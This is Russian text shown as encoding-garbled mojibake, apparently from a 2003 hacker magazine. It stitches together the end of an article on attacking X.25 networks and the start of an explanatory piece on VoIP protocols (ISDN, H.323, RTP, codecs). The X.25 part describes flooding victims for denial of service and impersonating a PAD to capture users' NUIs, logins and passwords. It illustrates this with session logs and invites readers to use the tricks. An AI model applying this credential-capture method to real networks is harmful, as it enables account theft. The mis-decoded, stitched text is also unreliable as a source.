æåëàíèè ìîãóò ïðèéòè ñîâñåì â äðóãîå ìåñòî).<br />
Âî-âòîðûõ, åñëè ìû íå ïîäñòàâèì àäðåñà âîîáùå,<br />
òî íèêòî íè÷åãî è íèêîãäà íå óçíàåò. Ïëþñû<br />
î÷åâèäíû. Âòîðàÿ âîçìîæíîñòü - ñòàðûé äîáðûé<br />
ñðà÷. Ò.å. DoS. Ñ òåðìèíàëüíîé ëèíèè (ìîäåìà)<br />
DoS, êîíå÷íî, íå ãðîçèò, íî ñ ëþáîãî áîêñà, èìåþùåãî<br />
âûõîä â x25-ñåòü, ìû ìîæåì ýòî óñòðîèòü,<br />
ïîñûëàÿ ïîñòîÿííûå çàïðîñû íà æåðòâó. Î÷åâèäíî,<br />
÷åì áîëüøå áîêñîâ, òåì ëó÷øå. Åùå îäèí âàðèàíò<br />
- ýòî äàâíî èçâåñòíûé ïî Ëèðèêîâñêîé ñèòå<br />
"ñíèôèíã-ïîäñòàâà". ×òî ìû äåëàåì â ýòîì ñëó-<br />
÷àå. Ìû íàõîäèì àäðåñ íóæíîãî íàì ïàäà è ïîñòîÿííî<br />
øëåì ïàêåòû ñ çàïðîñîì êîííåêòà íà àäðåñ<br />
ýòîãî ïàäà, êîòîðûì ìû ÿêîáû áóäåì. Â ðåçóëüòàòå<br />
âîçíèêíîâåíèÿ íåêîòîðûõ êîëëèçèé è íåïðîâåðêè<br />
ñîîòâåòñòâèÿ àäðåñîâ, õîñò-æåðòâó ñîåäèíÿþò<br />
ñ ïîñûëüùèêîì òàêèõ ïàêåòîâ (äîãàäàéòåñü,<br />
êòî ýòî :)), êîòîðûé óæå ìîæåò ïðèêèíóòüñÿ<br />
ïàäîì, âûäàòü ïàäîâîå ñîîáùåíèå è çàèìåòü âñå<br />
äàííûå ïîëüçîâàòåëÿ, âêëþ÷àÿ nui, ëîãèíû, ïàðîëè<br />
è òîìó ïîäîáíîå. Âîò êàê ýòî âûãëÿäåëî â sita<br />
network (ëîã êèáåð-ëèðèêà): (òàáëèöà 1)<br />
 ðîñíåòå ýòî äåéñòâóåò àíàëîãè÷íûì ñïîñîáîì, ÷òî<br />
ìîæíî óâèäåòü íà ñëåäóþùåì ïðèìåðå (ëîã graf'a):<br />
(òàáëèöà 1)<br />
Âîò ýòî è åñòü ïðîñòûå "íîâîìîäíûå" ñïîñîáû.<br />
Äàëåå ïðåäëàãàþ øòóäèðîâàòü ëèòåðàòóðó è èñêàòü<br />
ñâîè ñïîñîáû.<br />
ÇÀÊËÞ×ÅÍÈÅ<br />
Èòàê, òåïåðü òû ìîæåøü ïîëüçîâàòüñÿ ýòèìè ïðèåìàìè<br />
äëÿ äîñòèæåíèÿ êàêèõ-òî ñâîèõ öåëåé. Íî<br />
ÿ íàäåþñü, ÷òî ñòàòüÿ íàïðàâèò òåáÿ â íóæíîå<br />
ðóñëî, è êîíå÷íî, î÷åíü íåæåëàòåëüíî, ÷òîáû ïî-<br />
÷åðïíóòûå çíàíèÿ èñïîëüçîâàëèñü ïðîòèâîçàêîííî.<br />
Õî÷åòñÿ âåðèòü, ÷òî ýòà ñòàòüÿ ïîêàæåò ìíîãèì,<br />
÷òî êðîìå TCP/IP ñòåêà åñòü ìíîæåñòâî íå<br />
ìåíåå èíòåðåñíûõ ïðîòîêîëîâ (x25, êîíå÷íî æå,<br />
íå åäèíñòâåííûé ïðåäñòàâèòåëü). Òàê<br />
÷òî óäà÷íîãî òåáå îñâîåíèÿ x25-ñåòåé!<br />
XXXX XXX<br />
SITA NETWORK: call cleared - destination not<br />
responding<br />
// êàæåòñÿ, PAD ñâîáîäåí<br />
XXXX XXX<br />
SITA NETWORK: call connected to XXXX XXX<br />
(001) (n, nui 19730001 charging, packet size:<br />
128)<br />
...<br />
NUI 12345678<br />
ASDF1H<br />
SITA NETWORK: call cleared - remote directive<br />
// ìîæåò áûòü, êîëëèçèÿ â îäíî è òî æå âðåìÿ<br />
// æåðòâà è õàêåð êîííåêòÿòñÿ íà PAD<br />
XXXX XXX<br />
SITA NETWORK: call cleared - destination busy<br />
// îïñ ... æåðòâà óæå ðàáîòàåò<br />
[ ... âûðåçàíî èç ëîãà ... ]<br />
*60001010009<br />
ACP:clr not obtainable - remote directive<br />
241 device not ready<br />
*60001010009<br />
ACP:clr not obtainable - remote directive<br />
241 device not ready<br />
*60001010009<br />
ACP:clr not obtainable - remote directive<br />
241 device not ready<br />
*60001010009<br />
ACP:fac: r,p(128,128),w(2,2),d(9600,9600)<br />
com<br />
Enter ADDRESS[*userdata], n-ADDRESS for NUI<br />
access or HELP<br />
WELCOME TO ROSNET!<br />
// âîò ìû ïîäêëþ÷èëèñü ê ìîäåìíîìó ïóëó,<br />
çäåñü íå õâàòàåò òîëüêî "*" //<br />
*
Âçëîì<br />
ÕÀÊÅÐ\¹53\Ìàé\2003<br />
VOIP ÈÇÍÓÒÐÈ<br />
Ñàëèåâ Àëåêñàíäð aka Fagot (salieff@mail.ru)<br />
VOIP ÈÇÍÓÒÐÈ<br />
ÊÀÊ ÐÀÁÎÒÀÅÒ ÑÎÂÐÅÌÅÍÍÎÅ VOIP ÎÁÎÐÓÄÎÂÀÍÈÅ<br />
Êîãäà-òî äàâíî âñÿ òåëåôîíèÿ õîäèëà ïî ìåäè â àíàëîãîâîì âèäå, íî òå âðåìåíà ïðîøëè, è èíòåðíåò,<br />
çàõâàòèâøèé âñþ ïëàíåòó, ïîãëîùàåò è ýòîò, êàçàëîñü áû, òðàäèöèîííûé âèä ñâÿçè. ß íå<br />
áóäó ðàññêàçûâàòü î òîì, êàê ýòî ìîãëî áû áûòü, êàê ìîãëî áû áûòü ëó÷øå è ÷òî ñåé÷àñ õóæå, è âîîáùå<br />
ðàñòåêàòüñÿ ìûñëüþ ïî äðåâó. ß ïîêàæó, ÊÀÊ ÝÒÎ ÐÀÁÎÒÀÅÒ, ðàçîáðàâ âñå äî ñàìûõ îñíîâ.<br />
ÏÐÈÕÎÄ ÖÈÔÐÛ<br />
Àíàëîãîâûå ìåòîäû êîììóòàöèè óæå äàâíî íà÷àëè<br />
èçæèâàòü ñåáÿ, íà÷àëîñü ïîáåäíîå øåñòâèå ÷àñòîòíîãî<br />
ìóëüòèïëåêñèðîâàíèÿ íåñêîëüêèõ ñîåäèíåíèé<br />
â îäíó ëèíèþ, ãðîçèâøåå âîò-âîò ïðåîáðàçîâàòüñÿ<br />
â êîíâåéåðíóþ öèôðîâóþ ïåðåäà÷ó ãîëîñà<br />
ïî êàíàëàì ATM, è ïîñòåïåííî ñàìî ñîáîé íàçðåâàëî<br />
ðåøåíèå î ïðèâåäåíèè ê åäèíûì ñòàíäàðòàì<br />
ìåæàáîíåíòñêîé ñèãíàëèçàöèè â öèôðîâîì<br />
âèäå. Ïîñëå íåêîòîðûõ ïðîìåæóòî÷íûõ âàðèàíòîâ<br />
âîçíèê ñòàíäàðò ISDN, êîòîðûé è ñåé÷àñ<br />
øèðîêî ïðèìåíÿåòñÿ íà êðóïíûõ ìàãèñòðàëÿõ ÃÒÑ.<br />
Âîò êàê îáùàþòñÿ 2 àáîíåíòà â ISDN-ñèãíàëèçàöèè:<br />
êîãäà àáîíåíò "À" íàáèðàåò íîìåð íà òåëåôîíå,<br />
åãî ÀÒÑ âûäåëÿåò òàéì-ñëîò â ÀÒÌ-ïîòîêå<br />
(ýòî çíà÷èò, ÷òî êàæäûé n-öàòûé ïàêåò öèôðîâîãî<br />
êîíâåéåðà áóäåò ñîäåðæàòü èíôîðìàöèþ î äàííîì<br />
çâîíêå), è ïîñûëàåò â ñòîðîíó ÀÒÑ àáîíåíòà<br />
"Á" êîìàíäó SETUP, ñîäåðæàùóþ â ñåáå èíôîðìàöèþ<br />
î òåëåôîííîì íîìåðå àáîíåíòà "À" (ÀÎ-<br />
Íå), òåëåôîííîì íîìåðå àáîíåíòà "Á" è íåêîòîðóþ<br />
ñëóæåáíóþ èíôîðìàöèþ, ïîçâîëÿþùóþ êîððåêòíî<br />
îáñëóæèâàòü çâîíîê. Òàêæå â ýòîì è ïîñëåäóþùèõ<br />
ïàêåòàõ (âïëîòü äî óñòàíîâëåíèÿ ãîëîñîâîãî<br />
îáìåíà) ïðèñóòñòâóåò èíôîðìàöèÿ, ïîçâîëÿþùàÿ<br />
äâóì ÀÒÑêàì íàñòðîèòüñÿ ìåæäó ñîáîé, ñ<br />
öåëüþ ñäåëàòü ñâÿçü îïòèìàëüíîé è êà÷åñòâåííîé.<br />
ÀÒÑ "Á" îòâå÷àåò ïàêåòîì SETUPACKNOWL-<br />
EDGE, ïîäðàçóìåâàÿ, ÷òî îíà ïðèíÿëà âûçîâ è<br />
ñåé÷àñ áóäåò åãî îáðàáàòûâàòü. Äåëàÿ ïîïûòêè<br />
äîñòó÷àòüñÿ äî ñâîåãî àáîíåíòà, ÀÒÑ "Á" øëåò ïàêåò<br />
CALLPROCEEDING, ÷òî çíà÷èò, ÷òî îíà æèâà è<br />
îáðàáàòûâàåò çâîíîê. Êîãäà ñîåäèíåíèå ñ àáîíåíòîì<br />
"Á" ïðîèçîøëî, ÀÒÑ "Á" øëåò ïàêåò<br />
ALERTING, êîòîðûé îçíà÷àåò, ÷òî òåëåôîí "Á"<br />
òðåçâîíèò è îæèäàåòñÿ ñíÿòèå òðóáêè. Ïîñëå òîãî<br />
êàê àáîíåíò "Á" ñíÿë òðóáêó, ÀÒÑ "Á" ïîäíèìàåò ñ<br />
íèì ãîëîñîâîé êàíàë è øëåò ïàêåò CONNECT, ÀÒÑ<br />
"À" îòâå÷àåò åé ïàêåòîì CONNECTACKNOWLEDGE<br />
(ïîäðàçóìåâàÿ, ÷òî îíà, â ñâîþ î÷åðåäü òîæå<br />
ïîäíèìàåò ñ àáîíåíòîì "À" ãîëîñîâîé êàíàë), è â<br />
1 2 3 4<br />
74 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
Ñåññèÿ â ISDN-ñåòè<br />
îáå ñòîðîíû íà÷èíàþò ïåðåäàâàòüñÿ ãîëîñîâûå<br />
äàííûå. Ïî îêîí÷àíèè ðàçãîâîðà òà ÀÒÑ, ñî ñòîðîíû<br />
êîòîðîé àáîíåíò ïåðâûì ïîëîæèë òðóáêó,<br />
øëåò ïàêåò DISCONNECT, äðóãàÿ ÀÒÑ îòâå÷àåò åé<br />
RELEASE, ÷òî çíà÷èò, ÷òî îíà îñâîáîæäàåò öèôðîâûå<br />
ðåñóðñû, âûäåëåííûå ïîä çâîíîê, è ñåàíñ<br />
ñâÿçè çàâåðøàåòñÿ ïîñûëêîé RELEASECOMPLETE<br />
è îñâîáîæäåíèåì öèôðîâûõ ðåñóðñîâ ñî ñòîðîíû<br />
ïåðâîé ÀÒÑ.<br />
Ïðèìå÷àòåëüíî òî, ÷òî âñÿ ýòà ñèãíàëèçàöèÿ êîäèðóåòñÿ<br />
íå ÷àñòîòíîé ìîäóëÿöèåé èëè ïðî÷èìè<br />
òðóäíîïîíèìàåìûìè àíàëîãîâûìè è ïîëóàíàëîãîâûìè<br />
ìåòîäàìè, à ïðåäñòàâëÿåò ñîáîé ïðèâû÷íûå<br />
äëÿ íàñ áàéòîâûå ïàêåòû ñ ÷åòêî çàäàííîé ñòðóêòóðîé<br />
ïîëåé. Çâóê òîæå ïåðåäàåòñÿ â âèäå áàéòïàêåòîâ,<br />
ïðåäñòàâëÿþùèõ ñîáîé ôðåéìû, êîäèðîâàííûå<br />
â áîëüøèíñòâå ñëó÷àåâ êîäåêîì G.711, ÷òî<br />
åñòü íè ÷òî èíîå, êàê PCM 8 kHz 16 bit (êàê â WAVôàéëå<br />
áåç êîìïðåññèè) òîëüêî íå ñ ëèíåéíûì<br />
ðàñïîëîæåíèåì ñòîëáöîâ, à ñ ëîãàðèôìè÷åñêèì.<br />
VOICE OVER IP!<br />
 ïðèíöèïå, ïðîòîêîë ISDN áûë ðàçðàáîòàí äëÿ<br />
ñåòåé ATM è ïðî÷èõ X.25, ÷òî ïðåäñòàâëÿëî íåêîòîðóþ<br />
ïðîáëåìó äëÿ êîììåð÷åñêèõ îïåðàòîðîâ,<br />
èáî äîñòóï ê ýòèì ñåòÿì åñòü äàëåêî íå ó âñåõ.<br />
Òîãäà âîçíèêëî åñòåñòâåííîå ðåøåíèå ðàçðàáîòàòü<br />
àíàëîã ISDN äëÿ ñåòåé IP, ÷òîáû ãîíÿòü òåëåôîíèþ<br />
÷åðåç public internet, âåäü ïîìèìî äîñòóïíîñòè<br />
ýòîé ñåòè äàííûé ïîäõîä ïîçâîëÿë ïëàòèòü<br />
çà òðàôèê, à íå çà êèëîìåòðû äî ïóíêòà íàçíà÷åíèÿ.<br />
Ñèãíàëèçàöèþ áûëî ðåøåíî ïîëîæèòü íà TCP<br />
(õîòÿ â ðåêîìåíäàöèÿõ ITU-T ïðèñóòñòâóþò ìîäåëè<br />
äëÿ ìíîæåñòâà ïðîòîêîëîâ, âêëþ÷àÿ IPX, íî íàèáîëåå<br />
ïðèæèëèñü TCP è UDP), ýòî äàâàëî îïðåäåëåííûå<br />
ïëþñû â âèäå ãîòîâîé ìîäåëè ñîçäàíèÿ<br />
ñîåäèíåíèÿ. Ïîýòîìó ïàêåòû ñåðèè ACKNOWL-<br />
EDGE áûëî ðåøåíî óïðàçäíèòü, à òàêæå ñâåñòè<br />
ïðîöåäóðó çàêðûòèÿ ñîåäèíåíèÿ ê åäèíñòâåííîìó<br />
(è íå âñåãäà îáÿçàòåëüíîìó) RELEASECOMPLETE.<br />
Ñ äðóãîé ñòîðîíû, äîáàâëÿëàñü IP-àäðåñàöèÿ è<br />
ìíîãî äðóãèõ âçàèìîíàñòðîåê, ñïåöèôè÷íûõ äëÿ<br />
IP-ñåòåé. Äëÿ íèõ áûëè ðàçðàáîòàíû ïðîòîêîëû<br />
H.225 è H.245, ïðèçâàííûå îïèñûâàòü ñîåäèíåíèå<br />
è åãî ëîãè÷åñêèå êàíàëû ñîîòâåòñòâåííî. Äëÿ<br />
ýòèõ òèïîâ ñèãíàëèçàöèè (èõ ñåìåéñòâî íàçûâàåòñÿ<br />
H.323) â Q.931-ïàêåòàõ (â ñòàíäàðòàõ H.323<br />
ñèãíàëèçàöèÿ ISDN íàçûâàåòñÿ Q.931) áûëî âûäåëåíî<br />
ïîëå (èëè IE - èíôîðìàöèîííûé ýëåìåíò, à<br />
íå îñëèê) ïîä íàçâàíèåì USER-USER, ïåðâîíà-<br />
÷àëüíî ïðåäíàçíà÷åííîå äëÿ ïåðåäà÷è ïðîèçâîëüíûõ<br />
íåïðîòîêîëüíûõ äàííûõ ìåæäó àáîíåíòàìè<br />
èëè ÀÒÑêàìè. Ïàêåòû Q.931 áûëè ñîõðàíåíû â<br />
êà÷åñòâå îáîëî÷åê ê H.323 ñ öåëüþ îáëåã÷èòü çàäà÷è<br />
øëþçà, ñòîÿùåãî íà ñòûêå ISDN è IP.<br />
Ñèãíàëèçàöèÿ êëàññà H.323, â îòëè÷èå îò ìíîãèõ<br />
äðóãèõ, íå ïðîñòî óïàêîâûâàåòñÿ â áàéòîâûå ïàêåòû,<br />
à ïèøåòñÿ íà ÿçûêå ASN.1 (Abstractive syntax<br />
notation v.1) è êîìïèëèðóåòñÿ â ïëàòôîðìåííî-íåçàâèñèìûé<br />
êîä, íàïîäîáèå java-applet'à, òîëüêî<br />
íåñåò â ñåáå íå èñïîëíÿåìóþ ïðîãðàììó, à äàííûå.<br />
Èìåííî òàêèå ñêîìïèëèðîâàííûå áëîêè è çàïèñûâàþòñÿ<br />
â IE:USER-USER. Îäíàêî åñëè äëÿ<br />
ñèãíàëèçàöèè õîðîøî ïîäîøåë ïðîòîêîë TCP, òî ñ<br />
ïåðåäà÷åé ãîëîñîâûõ äàííûõ âîçíèêëî ìíîãî ïðîáëåì,<br />
òàêèõ êàê: íåâûñîêàÿ ñðåäíÿÿ ïðîïóñêíàÿ<br />
ñïîñîáíîñòü êàíàëà, íåãàðàíòèðîâàííîå (â îòëè-<br />
÷èå îò ATM) âðåìÿ äîñòàâêè ïàêåòà è âîçìîæíûå<br />
ïîòåðè èíôîðìàöèè (ò.ê. TCP áûë îòêëîíåí ïî<br />
ïðè÷èíå ìåäëåííîñòè è âûáîð ïàë íà UDP). Ïðîáëåìû<br />
ñ øèðèíîé êàíàëà áûëè ðåøåíû ñ ïîìîùüþ<br />
íîâîãî ïîêîëåíèÿ êîäåêîâ (òàê, íàïðèìåð,<br />
ðàñïðîñòðàíåííûé ñåé÷àñ êîäåê G.729 òðåáóåò<br />
âñåãî 8kbps â îòëè÷èå îò 64kbps äëÿ G.711). Ïîòåðþ<br />
è íåðàâíîìåðíóþ äîñòàâêó ðå÷åâûõ ïàêåòîâ<br />
âçÿëè íà ñåáÿ àëãîðèòìû ïðîìåæóòî÷íîé èíòåðïîëÿöèè<br />
è ïðîòîêîëû RTP/RTCP (ïðîòîêîëû äîñòàâêè<br />
è êîíòðîëÿ èíôîðìàöèè â ðåàëüíîì âðåìåíè).<br />
ÏÓÒÈ È ÒÐÎÏÈÍÊÈ<br />
Ðàññêàæó, êàê ïðîõîäèò ñåññèÿ ìåæäó äâóìÿ<br />
VoIP’øíûìè óñòðîéñòâàìè. Øëþç-îðèãèíàòîð<br />
(òîò, ÷òî ñòîèò ñî ñòîðîíû àáîíåíòà "À") èíèöèèðóåò<br />
TCP-ñîåäèíåíèå, ÿâëÿÿñü êëèåíòîì. Øëþçòåðìèíàòîð<br />
(òîò, ÷òî ñòîèò ñî ñòîðîíû àáîíåíòà<br />
"Á") èãðàåò ðîëü ñåðâåðà, ïðèíèìàÿ âõîäÿùèå ñîåäèíåíèÿ<br />
íà ñåðâèñíîì TCP-ïîðòó 1720. Ïî ýòîìó<br />
TCP-êàíàëó ïåðåäàþòñÿ ïàêåòû ñ ñèãíàëèçàöèåé<br />
Q.931. Ñèãíàëèçàöèÿ H.225 ïàêóåòñÿ â<br />
IE:USER-USER ïàêåòà Q.931. Ñèãíàëèçàöèÿ H.245<br />
ìîæåò ïåðåäàâàòüñÿ òðåìÿ ïóòÿìè: ïåðâûé - ïî<br />
íàèáîëåå ñòàðîé ñõåìå - øëþç, æåëàþùèé èãðàòü<br />
ðîëü TCP-ñåðâåðà â H.245-ñåññèè, çàÿâëÿåò ïîñðåäñòâîì<br />
H.225 àäðåñ è ïîðò, íà êîòîðûõ îí áóäåò<br />
æäàòü âõîäÿùåãî êîííåêòà, âòîðîé øëþç ñòàíîâèòñÿ<br />
TCP-êëèåíòîì. Ïîäñîåäèíÿåòñÿ ê ïåðâîìó,<br />
è ïåðåäà÷à ñèãíàëèçàöèè H.245 ïðîèñõîäèò<br />
ïî îòäåëüíîìó TCP-ñîåäèíåíèþ.<br />
Äâà äðóãèõ ñïîñîáà çàêëþ÷àþòñÿ â óïàêîâêå ñèãíàëèçàöèè<br />
H.245 âíóòðü H.225. Ýòî ëèáî ìåòîä<br />
FastConnect, êîãäà ñèãíàëèçàöèÿ H.245 óðåçàåòñÿ<br />
äî áëîêîâ, ñîäåðæàùèõ òîëüêî èíôîðìàöèþ, êàñàþùóþñÿ<br />
ëîãè÷åñêèõ êàíàëîâ, è êëàäåòñÿ âíóòðü<br />
H.225, â ïîëå, èìåíóåìîå FastStart, ëèáî ïàêåòû<br />
5 6 7 8<br />
Þíèêñîèä X-Ñòèëü Êîäèíã
VOIP ÈÇÍÓÒÐÈ<br />
Âçëîì<br />
Ñàëèåâ Àëåêñàíäð aka Fagot (salieff@mail.ru)<br />
H.245 áåðóòñÿ öåëèêîì è êëàäóòñÿ â ïîëå<br />
H245Control, ýòîò ìåòîä íàçûâàåòñÿ<br />
H245Tunneling. Òàêèå ìåòîäû ìîãóò ïðèìåíÿòüñÿ<br />
êàê ïî îòäåëüíîñòè, òàê è âïåðåìåøêó. Ïîñðåäñòâîì<br />
H.245 øëþçû äîãîâàðèâàþòñÿ îá îòêðûòèè<br />
íåîáõîäèìîãî êîëè÷åñòâà ëîãè÷åñêèõ êàíàëîâ è<br />
èõ ñâîéñòâàõ, ñîîáùàÿ îá àäðåñàõ è UDP-ïîðòàõ<br />
äëÿ êàæäîãî êàíàëà ñî ñâîåé ñòîðîíû. Ïî ýòèì<br />
ëîãè÷åñêèì êàíàëàì è áåæèò â îáå ñòîðîíû èíôà<br />
(çâóê, âèäåî, äàííûå) â âèäå UDP-ïàêåòîâ. Íåïîñðåäñòâåííûå<br />
èíòåðôåéñû îáùåíèÿ ñ ïîëüçîâàòåëåì<br />
áûâàþò ñàìûìè ðàçíûìè: ïðîìûøëåííûå<br />
VoIP-øëþçû îáû÷íî ïðèíèìàþò â ñåáÿ ISDN-ïîòîêè<br />
òèïà E1 (ýòî ÀÒÌ-ïîäîáíûé ïîòîê, ïî êîòîðîìó<br />
ìîæíî ãîíÿòü 30 òåëåôîííûõ ñîåäèíåíèé<br />
îäíîâðåìåííî), èñõîäÿùèå èç ãîðîäñêèõ ÀÒÑ. Â<br />
áîëåå äåøåâûå VoIP-øëþçû ìîæíî âñòàâëÿòü íåñêîëüêî<br />
(2-8) ñàìûõ îáûêíîâåííûõ àíàëîãîâûõ òåëåôîíîâ.<br />
Ïðîãðàììà-òåðìèíàë íà êîìïüþòåðå<br />
ìîæåò ðàáîòàòü ñ âíåøíåé êàìåðîé è çâóêîâîé<br />
êàðòîé, íî âñå ýòî íèêàê íå âëèÿåò íà ôîðìàò ñîåäèíåíèÿ,<br />
êîãäà îíî èäåò íåïîñðåäñòâåííî ïî IP.<br />
ÍÎÂÛÅ ÔÈØÊÈ ÈËÈ H.225<br />
Ïðîòîêîë H.225 ïðèçâàí ðåàëèçîâàòü âñå íîâîââåäåíèÿ,<br />
êîòîðûõ íå áûëî â ISDN.  ÷àñòíîñòè ýòî<br />
âñÿ IP-àäðåñàöèÿ, íîâûå âîçìîæíîñòè àäðåñàöèè<br />
àáîíåíòà ïî ñèìâîëüíûì èìåíàì èëè URL-ïîäîáíîé<br />
ñõåìå, îïèñàíèå óíèêàëüíûõ èäåíòèôèêàòîðîâ<br />
ñåññèè (id çâîíêà, id êîíôåðåíöèè), îïèñàíèå ñïåöèôè÷íûõ<br />
îïöèé H.323 ñåññèè (ïðàâèëà óäåðæàíèÿ<br />
ñîåäèíåíèé, ìåòîäû îáìåíà ïàêåòàìè H.245, âîçìîæíîñòü<br />
âñòóïëåíèÿ â êîíôåðåíöèþ è ïðî÷åå).<br />
ß ÒÅÁß ÂÈÆÓ, ß ÒÅÁß ÑËÛØÓ. H.245<br />
Ïåðåäà÷à èíôîðìàöèè ìåæäó àáîíåíòàìè â êîíöåïöèè<br />
H.323 îñóùåñòâëÿåòñÿ ïî òàê íàçûâàåìûì<br />
"ëîãè÷åñêèì êàíàëàì". Ëîãè÷åñêèé êàíàë - ýòî óñòàíîâèâøååñÿ<br />
äâóñòîðîííåå UDP-ñîåäèíåíèå, ïî<br />
êîòîðîìó â ôîðìàòå RTP/RTCP ïåðåäàþòñÿ äàííûå<br />
ïî îãîâîðåííûì ïðàâèëàì. Òàêæå äëÿ ëîãè÷åñêîãî<br />
êàíàëà ñóùåñòâóåò òàêîå ïîíÿòèå, êàê "òèï<br />
ñåññèè". Ñóùåñòâóåò 3 ñòàíäàðòíûõ òèïà ñåññèé:<br />
àóäèî, âèäåî è äàííûå. Ñèãíàëèçàöèÿ H.245 ïðèçâàíà<br />
ñîçäàâàòü è ðàçúåäèíÿòü ýòè êàíàëû, à òàêæå<br />
ïðîâîäèòü ñîãëàñîâàíèÿ ïî ôîðìàòàì ïåðåäà-<br />
÷è äàííûõ, êîòîðûå ïîääåðæèâàþòñÿ îáåèìè ñòîðîíàìè.<br />
Êîëè÷åñòâî ëîãè÷åñêèõ êàíàëîâ ìîæåò<br />
áûòü ðàçëè÷íûì. Åñëè äëÿ ïðîñòîé òåëåôîííîé<br />
ñåññèè õâàòèò äâóõ - îäèí äëÿ ãîëîñà, è îäèí äëÿ<br />
êîíòðîëÿ, òî äëÿ íàâîðî÷åííîé âèäåîñåññèè ïîíàäîáèòñÿ<br />
÷åòûðå ïàðû êàíàëîâ - ïî ïàðå íà êàæäûé<br />
êàíàë ñòåðåîçâóêà, ïàðà äëÿ âèäåî, è åùå ïàðà<br />
äëÿ óäàëåííîãî óïðàâëåíèÿ êàìåðîé.<br />
RTP+RTCP<br />
 ATM-êîíâåéåðàõ âñå áûëî çàìå÷àòåëüíî, è ìîæíî<br />
áûëî áûòü óâåðåííûì, ÷òî êàæäûå n-öàòü ìèêðîñåêóíä<br />
òû áóäåøü ãàðàíòèðîâàííî ïîëó÷àòü ñâîé<br />
ïàêåò ñ G.711-äàííûìè. Â H.323 ðîëü òðàíñïîðòíîãî<br />
ïðîòîêîëà äëÿ ïîëåçíûõ äàííûõ âîçëîæåíà íà<br />
UDP, è òóò íå âñå òàê ðàäóæíî. Ïàêåòû ìîãóò ïðèõîäèòü<br />
ñîâñåì íå ñ òåìè âðåìåííûìè èíòåðâàëàìè,<br />
ñ êîòîðûìè îòïðàâëÿëèñü, ìîãóò ìåíÿòü ïîðÿäîê<br />
ñëåäîâàíèÿ è äàæå âîîáùå òåðÿòüñÿ â ïóòè, íå<br />
äîñòèãàÿ ïîëó÷àòåëÿ. Áîðîòüñÿ ñ ýòèìè íåäîðàçóìåíèÿìè<br />
ïðèçâàíû ïðîòîêîëû RTP è RTCP.<br />
Ïîëåçíàÿ èíôîðìàöèÿ (ê ïðèìåðó, çâóê) ðàçáèâàåòñÿ<br />
íà ñýìïëû äîëæíîé äëèíû, ïàêóåòñÿ îãîâîðåííûì<br />
êîäåêîì, è âêëàäûâàåòñÿ â RTP-ïàêåòû,<br />
êîòîðûå ìàðêèðóþòñÿ âðåìåííûìè ìåòêàìè, íàáîðîì<br />
ñëóæåáíîé èíôîðìàöèè è îòïðàâëÿþòñÿ<br />
äðóãîé ñòîðîíå. Ïðèíèìàþùàÿ ñòîðîíà íå âîñïðîèçâîäèò<br />
ïàêåòû ñðàçó ïî ïîëó÷åíèè, à ñîáèðàåò<br />
èõ â òàê íàçûâàåìûé Jitter-áóôåð, õðàíÿùèé, ê<br />
ïðèìåðó, 10 ïàêåòîâ. Ïîñëå çàïîëíåíèÿ áóôåðà<br />
ïàêåòû âûñòðàèâàþòñÿ â èñõîäíûé ïîðÿäîê ñ ïîìîùüþ<br />
ñâîèõ âðåìåííûõ ìåòîê, íåäîñòàþùèå ïàêåòû<br />
èíòåðïîëèðóþòñÿ ñâîèìè ñîõðàíèâøèìèñÿ<br />
ñîñåäÿìè, è òîëüêî ïîñëå ýòîãî ïðîèñõîäèò èõ<br />
äåêîäèðîâàíèå è âîñïðîèçâåäåíèå.<br />
Òàêæå ïðèñóòñòâóþò ìåõàíèçìû îáíàðóæåíèÿ ïðîìåæóòêîâ<br />
òèøèíû (silence detection) è ãåíåðàöèè<br />
êîìôîðòíîãî øóìà (comfort noise generation, CNG).<br />
Åñëè íà âñåì ïðîìåæóòêå ñýìïëà óðîâåíü ñèãíàëà<br />
íèæå îïðåäåëåííîãî çíà÷åíèÿ, òî äàííûé ñýìïë<br />
ñ÷èòàåòñÿ "ñîäåðæàùèì òèøèíó", è â ïåðåäàþùèéñÿ<br />
ïàêåò íå âêëàäûâàåòñÿ, à âêëàäûâàåòñÿ òóäà<br />
"ìàðêåð òèøèíû", ðàçìåð êîòîðîãî íàìíîãî ìåíüøå<br />
ðàçìåðà çàêîäèðîâàííîãî ñýìïëà. Êîãäà øëþç<br />
ïîëó÷àåò òàêîé ïàêåò, îí íå ïûòàåòñÿ åãî äåêîäèðîâàòü,<br />
à ãåíåðèðóåò òèõèé øóì íóæíîé äëèòåëüíîñòè,<br />
ïîòîìó êàê ñ÷èòàåòñÿ, ÷òî ìåðòâàÿ òèøèíà â<br />
òðóáêå äàâèò íà óøè è íåðâèðóåò àáîíåíòà.<br />
Âðåìÿ îò âðåìåíè ïðîòèâîïîëîæíîé ñòîðîíå îòïðàâëÿåòñÿ<br />
êîíòðîëüíûé RTCP-ïàêåò, ñîäåðæàùèé<br />
ñòàòèñòèêó ïðèåìà RTP-ïàêåòîâ çà çàäàííûé<br />
ïåðèîä âðåìåíè. Ýòî ïîçâîëÿåò óäîñòîâåðèòüñÿ â<br />
òîì, ÷òî ïðîòèâîïîëîæíàÿ ñòîðîíà ïîëó÷àåò äîñòàòî÷íî<br />
ïîëåçíîé èíôîðìàöèè äëÿ òîãî, ÷òîáû<br />
åå âîñïðîèçâåäåíèå è ïðîäîëæåíèå ñåññèè èìåëî<br />
ñìûñë. Òàêæå ýòî ïîçâîëÿåò ñîáðàòü èíôîðìàöèþ<br />
äëÿ ìåõàíèçìà îöåíêè êà÷åñòâà ïåðåäà÷è (Quality<br />
of servise, QoS).<br />
ÕÀÊÅÐ\¹53\Ìàé\2003<br />
Ïðîòîêîëû ñåìåéñòâà H.323 è ñîïóòñòâóþùèå<br />
ÊÎÄÈÌ - ÄÅÊÎÄÈÌ<br />
Íåëüçÿ îáîéòè âíèìàíèåì òàêóþ âàæíóþ òåìó,<br />
êàê êîäåêè. Âñå ñîâðåìåííûå êîäåêè, ïðèìåíÿåìûå<br />
â IP-òåëåôîíèè, èìåþò îáùåãî ïðåäêà - êîäåê<br />
G.711. Ýòîò êîäåê áûë ïîèñòèíå ìîíñòðîèäàëüíûì,<br />
òðåáîâàë ïîëîñû ïðîïóñêàíèÿ 64kbps,<br />
íî, ñ äðóãîé ñòîðîíû, èìåë ñàìûå íèçêèå òðåáîâàíèÿ<br />
ê ðåñóðñàì DSP è ñàìîå âûñîêîå êà÷åñòâî<br />
âûõîäÿùåãî ñèãíàëà. Ïðèøåë îí â IP-òåëåôîíèþ<br />
èç êîììóòèðóåìûõ ATM-êàíàëîâ, ãäå ïðèìåíÿëñÿ<br />
